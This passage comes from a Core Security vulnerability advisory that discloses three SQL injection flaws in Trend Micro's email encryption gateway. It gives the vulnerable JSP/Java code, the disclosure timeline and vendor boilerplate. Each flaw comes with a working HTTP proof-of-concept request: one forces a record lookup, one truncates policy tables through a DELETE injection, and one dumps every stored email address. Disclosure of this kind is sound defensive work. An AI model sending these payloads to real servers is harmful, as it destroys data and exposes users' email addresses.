| Don't decrypt messages to
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|